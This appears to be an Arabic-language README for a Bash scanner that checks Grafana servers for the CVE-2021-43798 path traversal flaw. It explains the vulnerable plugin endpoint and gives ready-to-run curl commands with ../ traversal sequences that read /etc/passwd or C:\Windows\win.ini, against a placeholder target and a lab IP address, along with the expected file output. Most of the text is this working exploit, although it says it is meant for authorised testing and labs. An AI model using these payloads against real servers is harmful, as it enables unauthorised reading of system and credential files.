ماسح ضوئي يعتمد على Bash يقوم بإحصاء معرّفات إضافات Grafana واختبار ثغرة اجتياز المسار CVE-2021-43798 عبر محاولة قراءة /etc/passwd أو win.ini على النسخ المصابة.
أداة صغيرة مبنية على Bash لاختبار نسخ Grafana بحثًا عن CVE-2021-43798، وهي ثغرة اجتياز المسار (directory traversal) تؤثر على إصدارات Grafana المعرّضة للخطر.
تقوم الأداة بتعداد معرّفات إضافات Grafana وتستخدم curl --path-as-is لاختبار ما إذا كان اجتياز المسار قادرًا على الوصول إلى ملف معروف.
لأغراض اختبار الأمان المصرّح به وبيئات المختبر فقط.
.
├── grafana-windows.sh
├── grafana-linux.sh
├── plugins.txt
└── README.md
grafana-windows.sh: يختبر الوصول إلى C:\Windows\win.inigrafana-linux.sh: يختبر الوصول إلى /etc/passwdplugins.txt: قائمة كلمات تحتوي على معرّفات إضافات Grafana المستخدمة أثناء التعداد.curlتحقق من تثبيت curl:
curl --version
اجعل السكربتات قابلة للتنفيذ:
chmod +x grafana-windows.sh
chmod +x grafana-linux.sh
CVE-2021-43798 هي ثغرة اجتياز مسار (directory traversal) في Grafana.
تستند نقطة النهاية المعرّضة للخطر إلى:
/public/plugins/<plugin-id>/
قد تسمح الثغرة بالاجتياز خارج دليل الإضافة المقصود.
الجزء المهم عند الاختبار باستخدام curl هو:
--path-as-is
بدون هذا الخيار، قد يقوم العميل بتطبيع المسار قبل إرساله إلى الخادم.
يحاول ماسح Windows استرجاع:
C:\Windows\win.ini
يُمثَّل المسار في طلب HTTP على النحو التالي:
Windows/win.ini
./grafana-windows.sh \
-u http://192.168.68.193:3000 \
-w plugins.txt
مثال:
./grafana-windows.sh -u http://TARGET:3000 -w plugins.txt
يمكنك اختبار إضافة يدويًا باستخدام:
curl --path-as-is \
"http://TARGET:3000/public/plugins/alertlist/../../../../../../../../Windows/win.ini"
بالنسبة لهدف المختبر:
curl --path-as-is \
"http://192.168.68.193:3000/public/plugins/alertlist/../../../../../../../../Windows/win.ini"
يجب أن تحتوي الاستجابة الناجحة على محتويات ملف INI الخاص بـ Windows.
يحاول ماسح Linux استرجاع:
/etc/passwd
./grafana-linux.sh \
-u http://192.168.68.193:3000 \
-w plugins.txt
مثال عام:
./grafana-linux.sh -u http://TARGET:3000 -w plugins.txt
curl --path-as-is \
"http://TARGET:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"
بالنسبة لهدف المختبر:
curl --path-as-is \
"http://192.168.68.193:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"
يجب أن تحتوي استجابة Linux الناجحة على إدخالات مشابهة لـ:
root:x:0:0:root:/root:/bin/bash
يستخدم كلا الماسحين نفس الوسائط الأساسية:
u, --url : عنوان URL الأساسي لـ Grafanaw, --wordlist : قائمة كلمات الإضافاتf, --file : الملف المراد اختبارهh, --help : عرض المساعدة